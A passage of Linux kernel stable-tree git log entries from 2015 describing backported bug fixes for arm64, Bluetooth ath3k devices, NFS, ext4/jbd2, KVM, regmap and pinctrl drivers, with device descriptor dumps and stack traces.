13:56:33 2015 +0100 arm64: vdso: work-around broken ELF toolchains in Makefile [ Upstream commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb ] When building the kernel with a bare-metal (ELF) toolchain, the -shared option may not be passed down to collect2, resulting in silent corruption of the vDSO image (in particular, the DYNAMIC section is omitted). The effect of this corruption is that the dynamic linker fails to find the vDSO symbols and libc is instead used for the syscalls that we intended to optimise (e.g. gettimeofday). Functionally, there is no issue as the sigreturn trampoline is still intact and located by the kernel. This patch fixes the problem by explicitly passing -shared to the linker when building the vDSO. Cc: Reported-by: Szabolcs Nagy Reported-by: James Greenlaigh Signed-off-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Sasha Levin commit c1f90226649f98f2c7dc38bc08a86a0bf9f27e9b Author: Dmitry Tunin Date: Thu Jun 18 20:41:51 2015 +0300 Bluetooth: ath3k: Add support of 04ca:300d AR3012 device [ Upstream commit 7e730c7f3d1f39c25cf5f7cf70c0ff4c28d7bec7 ] BugLink: https://bugs.launchpad.net/bugs/1394368 This device requires new firmware files AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to /lib/firmware/ar3k/ that are not included in linux-firmware yet. T: Bus=02 Lev=01 Prnt=01 Port=04 Cnt=03 Dev#= 5 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=04ca ProdID=300d Rev= 0.01 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Dmitry Tunin Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 731c094c62f4b861bab540cb467dfbc114968486 Author: Dmitry Tunin Date: Sat May 2 13:36:58 2015 +0300 Bluetooth: ath3k: add support of 04ca:300f AR3012 device [ Upstream commit ec0810d2ac1c932dad48f45da67e3adc5c5449a1 ] BugLink: https://bugs.launchpad.net/bugs/1449730 T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=02 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=04ca ProdID=300f Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Dmitry Tunin Signed-off-by: Marcel Holtmann Signed-off-by: Sasha Levin commit 2d336687b66cd254c9bdee61b3300d787a8acc1e Author: Trond Myklebust Date: Wed Jun 17 19:56:22 2015 -0400 NFS: Ensure we set NFS_CONTEXT_RESEND_WRITES when requeuing writes [ Upstream commit c70701131f7a8edea91fc49d11796d342cff7c62 ] If a write attempt fails, and the write is queued up for resending to the server, as opposed to being dropped, then we need to set the appropriate flag so that nfs_file_fsync() does the right thing. Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit 4533a94725b43a5f3d28b1fe6e37bec743c295f9 Author: Trond Myklebust Date: Wed Jun 17 19:41:51 2015 -0400 pNFS: Fix a memory leak when attempted pnfs fails [ Upstream commit 1ca018d28d96d07788474abf66a5f3e9594841f5 ] pnfs_do_write() expects the call to pnfs_write_through_mds() to free the pgio header and to release the layout segment before exiting. The problem is that nfs_pgio_data_destroy() doesn't actually do this; it only frees the memory allocated by nfs_generic_pgio(). Ditto for pnfs_do_read()... Fix in both cases is to add a call to hdr->release(hdr). Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit f522f71affc47a29923070144b190f416175d443 Author: Bjorn Helgaas Date: Tue Jun 9 17:31:38 2015 -0500 x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing [ Upstream commit 3d9fecf6bfb8b12bc2f9a4c7109895a2a2bb9436 ] We enable _CRS on all systems from 2008 and later. On older systems, we ignore _CRS and assume the whole physical address space (excluding RAM and other devices) is available for PCI devices, but on systems that support physical address spaces larger than 4GB, it's doubtful that the area above 4GB is really available for PCI. After d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible"), we try to use that space above 4GB *first*, so we're more likely to put a device there. On Juan's Toshiba Satellite Pro U200, BIOS left the graphics, sound, 1394, and card reader devices unassigned (but only after Windows had been booted). Only the sound device had a 64-bit BAR, so it was the only device placed above 4GB, and hence the only device that didn't work. Keep _CRS enabled even on pre-2008 systems if they support physical address space larger than 4GB. Fixes: d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible") Reported-and-tested-by: Juan Dayer Reported-and-tested-by: Alan Horsfield Link: https://bugzilla.kernel.org/show_bug.cgi?id=99221 Link: https://bugzilla.opensuse.org/show_bug.cgi?id=907092 Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org # v3.14+ Signed-off-by: Sasha Levin commit 83891b4cab7ee6cecc1050c533826f9b27c03270 Author: Mikulas Patocka Date: Fri Jun 5 09:50:42 2015 -0400 dm stats: fix divide by zero if 'number_of_areas' arg is zero [ Upstream commit dd4c1b7d0c95be1c9245118a3accc41a16f1db67 ] If the number_of_areas argument was zero the kernel would crash on div-by-zero. Add better input validation. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org # v3.12+ Signed-off-by: Sasha Levin commit c9fdda04b9041f8105e4308078a2519bc6928852 Author: Marc Zyngier Date: Wed Jun 17 14:43:35 2015 +0100 KVM: arm/arm64: vgic: Avoid injecting reserved IRQ numbers [ Upstream commit 4839ddc27b7212ec58874f62c97da7400c8523be ] Commit fd1d0ddf2ae9 (KVM: arm/arm64: check IRQ number on userland injection) rightly limited the range of interrupts userspace can inject in a guest, but failed to consider the (unlikely) case where a guest is configured with 1024 interrupts. In this case, interrupts ranging from 1020 to 1023 are unuseable, as they have a special meaning for the GIC CPU interface. Make sure that these number cannot be used as an IRQ. Also delete a redundant (and similarily buggy) check in kvm_set_irq. Reported-by: Peter Maydell Cc: Andre Przywara Cc: # 4.1, 4.0, 3.19, 3.18 Signed-off-by: Marc Zyngier Signed-off-by: Sasha Levin commit da010e81b4a100a810d373d3cb9ad3348eb6b70a Author: Joe Thornber Date: Wed Jun 17 13:35:19 2015 +0100 dm space map metadata: fix occasional leak of a metadata block on resize [ Upstream commit 6096d91af0b65a3967139b32d5adbb3647858a26 ] The metadata space map has a simplified 'bootstrap' mode that is operational when extending the space maps. Whilst in this mode it's possible for some refcount decrement operations to become queued (eg, as a result of shadowing one of the bitmap indexes). These decrements were not being applied when switching out of bootstrap mode. The effect of this bug was the leaking of a 4k metadata block. This is detected by the latest version of thin_check as a non fatal error. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 0815b75f534fb3d55a6f4020513c6c932583f095 Author: Dave P Martin Date: Tue Jun 16 17:38:47 2015 +0100 arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP [ Upstream commit b9bcc919931611498e856eae9bf66337330d04cc ] The memmap freeing code in free_unused_memmap() computes the end of each memblock by adding the memblock size onto the base. However, if SPARSEMEM is enabled then the value (start) used for the base may already have been rounded downwards to work out which memmap entries to free after the previous memblock. This may cause memmap entries that are in use to get freed. In general, you're not likely to hit this problem unless there are at least 2 memblocks and one of them is not aligned to a sparsemem section boundary. Note that carve-outs can increase the number of memblocks by splitting the regions listed in the device tree. This problem doesn't occur with SPARSEMEM_VMEMMAP, because the vmemmap code deals with freeing the unused regions of the memmap instead of requiring the arch code to do it. This patch gets the memblock base out of the memblock directly when computing the block end address to ensure the correct value is used. Signed-off-by: Dave Martin Cc: Signed-off-by: Catalin Marinas Signed-off-by: Sasha Levin commit e71254d2aa10d9b5f548bc06d2fbb018deeffac7 Author: Mark Rutland Date: Mon Jun 15 16:40:27 2015 +0100 arm64: entry: fix context tracking for el0_sp_pc [ Upstream commit 46b0567c851cf85d6ba6f23eef385ec9111d09bc ] Commit 6c81fe7925cc4c42 ("arm64: enable context tracking") did not update el0_sp_pc to use ct_user_exit, but this appears to have been unintentional. In commit 6ab6463aeb5fbc75 ("arm64: adjust el0_sync so that a function can be called") we made x0 available, and in the return to userspace we call ct_user_enter in the kernel_exit macro. Due to this, we currently don't correctly inform RCU of the user->kernel transition, and may erroneously account for time spent in the kernel as if we were in an extended quiescent state when CONFIG_CONTEXT_TRACKING is enabled. As we do record the kernel->user transition, a userspace application making accesses from an unaligned stack pointer can demonstrate the imbalance, provoking the following warning: ------------[ cut here ]------------ WARNING: CPU: 2 PID: 3660 at kernel/context_tracking.c:75 context_tracking_enter+0xd8/0xe4() Modules linked in: CPU: 2 PID: 3660 Comm: a.out Not tainted 4.1.0-rc7+ #8 Hardware name: ARM Juno development board (r0) (DT) Call trace: [] dump_backtrace+0x0/0x124 [] show_stack+0x10/0x1c [] dump_stack+0x84/0xc8 [] warn_slowpath_common+0x98/0xd0 [] warn_slowpath_null+0x14/0x20 [] context_tracking_enter+0xd4/0xe4 [] preempt_schedule_irq+0xd4/0x114 [] el1_preempt+0x4/0x28 [] exit_files+0x38/0x4c [] do_exit+0x430/0x978 [] do_group_exit+0x40/0xd4 [] get_signal+0x23c/0x4f4 [] do_signal+0x1ac/0x518 [] do_notify_resume+0x5c/0x68 ---[ end trace 963c192600337066 ]--- This patch adds the missing ct_user_exit to the el0_sp_pc entry path, correcting the context tracking for this case. Signed-off-by: Mark Rutland Acked-by: Will Deacon Fixes: 6c81fe7925cc ("arm64: enable context tracking") Cc: # v3.17+ Signed-off-by: Catalin Marinas Signed-off-by: Sasha Levin commit 3cadf68102b84ee631ec342d938d79300438424e Author: Lorenzo Pieralisi Date: Wed Jun 10 15:19:24 2015 +0100 ARM: kvm: psci: fix handling of unimplemented functions [ Upstream commit e2d997366dc5b6c9d14035867f73957f93e7578c ] According to the PSCI specification and the SMC/HVC calling convention, PSCI function_ids that are not implemented must return NOT_SUPPORTED as return value. Current KVM implementation takes an unhandled PSCI function_id as an error and injects an undefined instruction into the guest if PSCI implementation is called with a function_id that is not handled by the resident PSCI version (ie it is not implemented), which is not the behaviour expected by a guest when calling a PSCI function_id that is not implemented. This patch fixes this issue by returning NOT_SUPPORTED whenever the kvm PSCI call is executed for a function_id that is not implemented by the PSCI kvm layer. Cc: # 3.18+ Cc: Christoffer Dall Acked-by: Sudeep Holla Signed-off-by: Lorenzo Pieralisi Signed-off-by: Marc Zyngier Signed-off-by: Sasha Levin commit a85076d1b29f9159979648d1973651a245d49a5e Author: Frodo Lai Date: Tue Jun 16 15:03:53 2015 -0700 Input: pixcir_i2c_ts - fix receive error [ Upstream commit 469d7d22cea146e40efe8c330e5164b4d8f13934 ] The i2c_master_recv() uses readsize to receive data from i2c but compares to size of rdbuf which is always 27. This would cause problem when the max_fingers is not 5. Change the comparison value to readsize instead. Fixes: 36874c7e219 ("Input: pixcir_i2c_ts - support up to 5 fingers and hardware tracking IDs:) Cc: stable@vger.kernel.org Signed-off-by: Frodo Lai Signed-off-by: Dmitry Torokhov Signed-off-by: Sasha Levin commit 1cce6f3b54f698daa097222ed783ad6acda417be Author: Hon Ching \(Vicky\) Lo Date: Fri May 22 13:23:02 2015 -0400 vTPM: set virtual device before passing to ibmvtpm_reset_crq [ Upstream commit 9d75f08946e8485109458ccf16f714697c207f41 ] tpm_ibmvtpm_probe() calls ibmvtpm_reset_crq(ibmvtpm) without having yet set the virtual device in the ibmvtpm structure. So in ibmvtpm_reset_crq, the phype call contains empty unit addresses, ibmvtpm->vdev->unit_address. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Cc: Fixes: 132f76294744 ("drivers/char/tpm: Add new device driver to support IBM vTPM") Signed-off-by: Peter Huewe Signed-off-by: Sasha Levin commit 90ff59908304dec3187fe22112353425527ceed3 Author: Jeff Layton Date: Tue Jun 9 19:43:56 2015 -0400 nfs: increase size of EXCHANGE_ID name string buffer [ Upstream commit 764ad8ba8cd4c6f836fca9378f8c5121aece0842 ] The current buffer is much too small if you have a relatively long hostname. Bring it up to the size of the one that SETCLIENTID has. Cc: Reported-by: Michael Skralivetsky Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit cdbbbe19dd7dde385233508367aeec020e089c25 Author: Mimi Zohar Date: Thu Jun 11 11:54:42 2015 -0400 ima: fix ima_show_template_data_ascii() [ Upstream commit 45b26133b97871896b8c5241d59f4ff7839db7b2 ] This patch fixes a bug introduced in "4d7aeee ima: define new template ima-ng and template fields d-ng and n-ng". Changelog: - change int to uint32 (Roberto Sassu's suggestion) Signed-off-by: Mimi Zohar Signed-off-by: Roberto Sassu Cc: stable@vger.kernel.org # 3.13 Signed-off-by: Sasha Levin commit c00a686169ade8556ca010eb5bad6d9b6d4503cb Author: Maxime Coquelin Date: Tue Jun 16 13:53:19 2015 +0200 regmap: Fix possible shift overflow in regmap_field_init() [ Upstream commit 921cc29473a0d7c109105c1876ddb432f4a4be7d ] The way the mask is generated in regmap_field_init() is wrong. Indeed, a field initialized with msb = 31 and lsb = 0 provokes a shift overflow while calculating the mask field. On some 32 bits architectures, such as x86, the generated mask is 0, instead of the expected 0xffffffff. This patch uses GENMASK() to fix the problem, as this macro is already safe regarding shift overflow. Signed-off-by: Maxime Coquelin Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit f099f4aaad04c7fa3f3001796d03f3754e64e748 Author: Arnd Bergmann Date: Sat Jun 13 15:23:33 2015 +0200 ideapad: fix software rfkill setting [ Upstream commit 4b200b4604bec3388426159f1656109d19fadf6e ] This fixes a several year old regression that I found while trying to get the Yoga 3 11 to work. The ideapad_rfk_set function is meant to send a command to the embedded controller through ACPI, but as of c1f73658ed, it sends the index of the rfkill device instead of the command, and ignores the opcode field. This changes it back to the original behavior, which indeed flips the rfkill state as seen in the debugfs interface. Signed-off-by: Arnd Bergmann Fixes: c1f73658ed ("ideapad: pass ideapad_priv as argument (part 2)") Cc: stable@vger.kernel.org # v2.6.38+ Signed-off-by: Darren Hart Signed-off-by: Sasha Levin commit 1215720518ca3601baf1dd2a13f89aaf5511abf2 Author: Joseph Qi Date: Mon Jun 15 14:36:01 2015 -0400 jbd2: fix ocfs2 corrupt when updating journal superblock fails [ Upstream commit 6f6a6fda294506dfe0e3e0a253bb2d2923f28f0a ] If updating journal superblock fails after journal data has been flushed, the error is omitted and this will mislead the caller as a normal case. In ocfs2, the checkpoint will be treated successfully and the other node can get the lock to update. Since the sb_start is still pointing to the old log block, it will rewrite the journal data during journal recovery by the other node. Thus the new updates will be overwritten and ocfs2 corrupts. So in above case we have to return the error, and ocfs2_commit_cache will take care of the error and prevent the other node to do update first. And only after recovering journal it can do the new updates. The issue discussion mail can be found at: https://oss.oracle.com/pipermail/ocfs2-devel/2015-June/010856.html http://comments.gmane.org/gmane.comp.file-systems.ext4/48841 [ Fixed bug in patch which allowed a non-negative error return from jbd2_cleanup_journal_tail() to leak out of jbd2_fjournal_flush(); this was causing xfstests ext4/306 to fail. -- Ted ] Reported-by: Yiwen Jiang Signed-off-by: Joseph Qi Signed-off-by: Theodore Ts'o Tested-by: Yiwen Jiang Cc: Junxiao Bi Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit bef8c3f0d1b428d4231106f3fa10b7e40b950ea3 Author: Arun Chandran Date: Mon Jun 15 15:59:02 2015 +0530 regmap: Fix regmap_bulk_read in BE mode [ Upstream commit 15b8d2c41fe5839582029f65c5f7004db451cc2b ] In big endian mode regmap_bulk_read gives incorrect data for byte reads. This is because memcpy of a single byte from an address after full word read gives different results when endianness differs. ie. we get little-end in LE and big-end in BE. Signed-off-by: Arun Chandran Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit c84ed5e549f31ce4567a601702ce9af94826ea7b Author: Dmitry Monakhov Date: Mon Jun 15 00:18:02 2015 -0400 jbd2: use GFP_NOFS in jbd2_cleanup_journal_tail() [ Upstream commit b4f1afcd068f6e533230dfed00782cd8a907f96b ] jbd2_cleanup_journal_tail() can be invoked by jbd2__journal_start() So allocations should be done with GFP_NOFS [Full stack trace snipped from 3.10-rh7] [] dump_stack+0x19/0x1b [] warn_slowpath_common+0x61/0x80 [] warn_slowpath_null+0x1a/0x20 [] slab_pre_alloc_hook.isra.31.part.32+0x15/0x17 [] kmem_cache_alloc+0x55/0x210 [] ? mempool_alloc_slab+0x15/0x20 [] mempool_alloc_slab+0x15/0x20 [] mempool_alloc+0x69/0x170 [] ? _raw_spin_unlock_irq+0xe/0x20 [] ? finish_task_switch+0x5d/0x150 [] bio_alloc_bioset+0x1be/0x2e0 [] blkdev_issue_flush+0x99/0x120 [] jbd2_cleanup_journal_tail+0x93/0xa0 [jbd2] -->GFP_KERNEL [] jbd2_log_do_checkpoint+0x221/0x4a0 [jbd2] [] __jbd2_log_wait_for_space+0xa7/0x1e0 [jbd2] [] start_this_handle+0x2d8/0x550 [jbd2] [] ? __memcg_kmem_put_cache+0x29/0x30 [] ? kmem_cache_alloc+0x130/0x210 [] jbd2__journal_start+0xba/0x190 [jbd2] [] ? lru_cache_add+0xe/0x10 [] ? ext4_da_write_begin+0xf9/0x330 [ext4] [] __ext4_journal_start_sb+0x77/0x160 [ext4] [] ext4_da_write_begin+0xf9/0x330 [ext4] [] generic_file_buffered_write_iter+0x10c/0x270 [] __generic_file_write_iter+0x178/0x390 [] __generic_file_aio_write+0x8b/0xb0 [] generic_file_aio_write+0x5d/0xc0 [] ext4_file_write+0xa9/0x450 [ext4] [] ? pipe_read+0x379/0x4f0 [] do_sync_write+0x90/0xe0 [] vfs_write+0xbd/0x1e0 [] SyS_write+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 09f89b0ecf7b38822db5530f06da0b3cf6ff0f4a Author: Alexander Usyskin Date: Sat Jun 13 08:51:17 2015 +0300 mei: me: wait for power gating exit confirmation [ Upstream commit 3dc196eae1db548f05e53e5875ff87b8ff79f249 ] Fix the hbm power gating state machine so it will wait till it receives confirmation interrupt for the PG_ISOLATION_EXIT message. In process of the suspend flow the devices first have to exit from the power gating state (runtime pm resume). If we do not handle the confirmation interrupt after sending PG_ISOLATION_EXIT message, we may receive it already after the suspend flow has changed the device state and interrupt will be interpreted as a spurious event, consequently link reset will be invoked which will prevent the device from completing the suspend flow kernel: [6603] mei_reset:136: mei_me 0000:00:16.0: powering down: end of reset kernel: [476] mei_me_irq_thread_handler:643: mei_me 0000:00:16.0: function called after ISR to handle the interrupt processing. kernel: mei_me 0000:00:16.0: FW not ready: resetting Cc: #3.18+ Cc: Gabriele Mazzotta Link: https://bugzilla.kernel.org/show_bug.cgi?id=86241 Link: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770397 Tested-by: Gabriele Mazzotta Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit d178b2654dc90cd4dd96930a8126eef61069fdc2 Author: Ryan Underwood Date: Sun Jan 25 16:07:09 2015 -0800 Disable write buffering on Toshiba ToPIC95 [ Upstream commit 2fb22a8042fe96b4220843f79241c116d90922c4 ] Disable write buffering on the Toshiba ToPIC95 if it is enabled by somebody (it is not supposed to be a power-on default according to the datasheet). On the ToPIC95, practically no 32-bit Cardbus card will work under heavy load without locking up the whole system if this is left enabled. I tried about a dozen. It does not affect 16-bit cards. This is similar to the O2 bugs in early controller revisions it seems. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961 Cc: Signed-off-by: Ryan C. Underwood Signed-off-by: Dominik Brodowski Signed-off-by: Sasha Levin commit 1f037aa9c05f927f1ebd9a9a8f4e68f4c8ae0b6f Author: Theodore Ts'o Date: Fri Jun 12 23:45:33 2015 -0400 ext4: fix race between truncate and __ext4_journalled_writepage() [ Upstream commit bdf96838aea6a265f2ae6cbcfb12a778c84a0b8e ] The commit cf108bca465d: "ext4: Invert the locking order of page_lock and transaction start" caused __ext4_journalled_writepage() to drop the page lock before the page was written back, as part of changing the locking order to jbd2_journal_start -> page_lock. However, this introduced a potential race if there was a truncate racing with the data=journalled writeback mode. Fix this by grabbing the page lock after starting the journal handle, and then checking to see if page had gotten truncated out from under us. This fixes a number of different warnings or BUG_ON's when running xfstests generic/086 in data=journalled mode, including: jbd2_journal_dirty_metadata: vdc-8: bad jh for block 115643: transaction (ee3fe7 c0, 164), jh->b_transaction ( (null), 0), jh->b_next_transaction ( (null), 0), jlist 0 - and - kernel BUG at /usr/projects/linux/ext4/fs/jbd2/transaction.c:2200! ... Call Trace: [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] __ext4_journalled_invalidatepage+0x10f/0x117 [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] ? lock_buffer+0x36/0x36 [] ext4_journalled_invalidatepage+0xd/0x22 [] do_invalidatepage+0x22/0x26 [] truncate_inode_page+0x5b/0x85 [] truncate_inode_pages_range+0x156/0x38c [] truncate_inode_pages+0x11/0x15 [] truncate_pagecache+0x55/0x71 [] ext4_setattr+0x4a9/0x560 [] ? current_kernel_time+0x10/0x44 [] notify_change+0x1c7/0x2be [] do_truncate+0x65/0x85 [] ? file_ra_state_init+0x12/0x29 - and - WARNING: CPU: 1 PID: 1331 at /usr/projects/linux/ext4/fs/jbd2/transaction.c:1396 irty_metadata+0x14a/0x1ae() ... Call Trace: [] ? console_unlock+0x3a1/0x3ce [] dump_stack+0x48/0x60 [] warn_slowpath_common+0x89/0xa0 [] ? jbd2_journal_dirty_metadata+0x14a/0x1ae [] warn_slowpath_null+0x14/0x18 [] jbd2_journal_dirty_metadata+0x14a/0x1ae [] __ext4_handle_dirty_metadata+0xd4/0x19d [] write_end_fn+0x40/0x53 [] ext4_walk_page_buffers+0x4e/0x6a [] ext4_writepage+0x354/0x3b8 [] ? mpage_release_unused_pages+0xd4/0xd4 [] ? wait_on_buffer+0x2c/0x2c [] ? ext4_writepage+0x3b8/0x3b8 [] __writepage+0x10/0x2e [] write_cache_pages+0x22d/0x32c [] ? ext4_writepage+0x3b8/0x3b8 [] ext4_writepages+0x102/0x607 [] ? sched_clock_local+0x10/0x10e [] ? __lock_is_held+0x2e/0x44 [] ? lock_is_held+0x43/0x51 [] do_writepages+0x1c/0x29 [] __writeback_single_inode+0xc3/0x545 [] writeback_sb_inodes+0x21f/0x36d ... Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit c9153c6f875e1490ca082dd4c2dd9b5ddb875851 Author: Catalin Marinas Date: Fri Jun 12 11:24:41 2015 +0100 arm64: Do not attempt to use init_mm in reset_context() [ Upstream commit 565630d503ef24e44c252bed55571b3a0d68455f ] After secondary CPU boot or hotplug, the active_mm of the idle thread is &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1 and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the TTBR0_EL1 is already set to the reserved value, there is no need to perform any context reset. Signed-off-by: Catalin Marinas Cc: Signed-off-by: Sasha Levin commit f6f4983ddc27e4b966713a2f09306507097b41d9 Author: Zidan Wang Date: Thu Jun 11 19:14:36 2015 +0800 ASoC: wm8960: the enum of "DAC Polarity" should be wm8960_enum[1] [ Upstream commit a077e81ec61e07a7f86997d045109f06719fbffe ] the enum of "DAC Polarity" should be wm8960_enum[1]. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit b0c1201f22e7d92a7f98ff539111ab2c4426b4f4 Author: Lior Amsalem Date: Tue May 26 15:07:32 2015 +0200 dmaengine: mv_xor: bug fix for racing condition in descriptors cleanup [ Upstream commit 9136291f1dbc1d4d1cacd2840fb35f4f3ce16c46 ] This patch fixes a bug in the XOR driver where the cleanup function can be called and free descriptors that never been processed by the engine (which result in data errors). The cleanup function will free descriptors based on the ownership bit in the descriptors. Fixes: ff7b04796d98 ("dmaengine: DMA engine driver for Marvell XOR engine") Signed-off-by: Lior Amsalem Signed-off-by: Maxime Ripard Reviewed-by: Ofer Heifetz Cc: stable@vger.kernel.org Signed-off-by: Vinod Koul Signed-off-by: Sasha Levin commit c289da8b3e746e2da306ce31087397d77b3d4b93 Author: Cyrille Pitchen Date: Tue Jun 9 18:22:14 2015 +0200 i2c: at91: fix a race condition when using the DMA controller [ Upstream commit 93563a6a71bb69dd324fc7354c60fb05f84aae6b ] For TX transactions, the TXCOMP bit in the Status Register is cleared when the first data is written into the Transmit Holding Register. In the lines from at91_do_twi_transfer(): at91_twi_write_data_dma(dev); at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); the TXCOMP interrupt may be enabled before the DMA controller has actually started to write into the THR. In such a case, the TXCOMP bit is still set into the Status Register so the interrupt is triggered immediately. The driver understands that a transaction completion has occurred but this transaction hasn't started yet. Hence the TXCOMP interrupt is no longer enabled by at91_do_twi_transfer() but instead by at91_twi_write_data_dma_callback(). Also, the TXCOMP bit in the Status Register in not a clear on read flag but a snapshot of the transmission state at the time the Status Register is read. When a NACK error is dectected by the I2C controller, the TXCOMP, NACK and TXRDY bits are set together to 1 in the SR. If enabled, the TXCOMP interrupt is triggered at the same time. Also setting the TXRDY to 1 triggers the DMA controller to write the next data into the THR. Such a write resets the TXCOMP bit to 0 in the SR. So depending on when the interrupt handler reads the SR, it may fail to detect the NACK error if it relies on the TXCOMP bit. The NACK bit and its interrupt should be used instead. For RX transactions, the TXCOMP bit in the Status Register is cleared when the START bit is set into the Control Register. However to unify the management of the TXCOMP bit when the DMA controller is used, the TXCOMP interrupt is now enabled by the DMA callbacks for both TX and RX transfers. Signed-off-by: Cyrille Pitchen Cc: stable@vger.kernel.org #3.10 and later Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Sasha Levin commit be656b96b4155ed5b4f93572266e24c537038b06 Author: Thomas Petazzoni Date: Tue Jun 9 18:47:00 2015 +0200 pinctrl: mvebu: armada-38x: fix incorrect total number of GPIOs [ Upstream commit 27e7cd016558bf787b128fd882cdd90409ae4036 ] The pinctrl_gpio_range[] array described a first bank of 32 GPIOs and a second one of 27 GPIOs. However, since there is a total of 60 MPP pins that can be muxed as GPIOs, the second bank really has 28 GPIOs. Signed-off-by: Thomas Petazzoni Cc: # v3.15+ Fixes: ca6d9a084b56f ("pinctrl: mvebu: add pin-muxing driver for the Marvell Armada 380/385") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 1bd7d22724b0e00664f564e57e5b816f347e6ac8 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:59 2015 +0200 pinctrl: mvebu: armada-375: remove incorrect space in pin description [ Upstream commit d538990ee12b162f7ce6c0fcef3b643800102676 ] There was an incorrect space in the definition of the function of one pin in the Armada 375 pinctrl driver, which this commit fixes. Signed-off-by: Thomas Petazzoni Cc: # v3.15+ Fixes: ce3ed59dcddd ("pinctrl: mvebu: add pin-muxing driver for the Marvell Armada 375") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 3f8f2813f0e8dc6cb88c908b301b6f3baf13efb6 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:58 2015 +0200 pinctrl: mvebu: armada-xp: fix functions of MPP48 [ Upstream commit ea78b9511a54d0de026e04b5da86b30515072f31 ] There was a mistake in the definition of the functions for MPP48 on Marvell Armada XP. The second function is dev(clkout), and not tclk. Signed-off-by: Thomas Petazzoni Cc: # v3.7+ Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 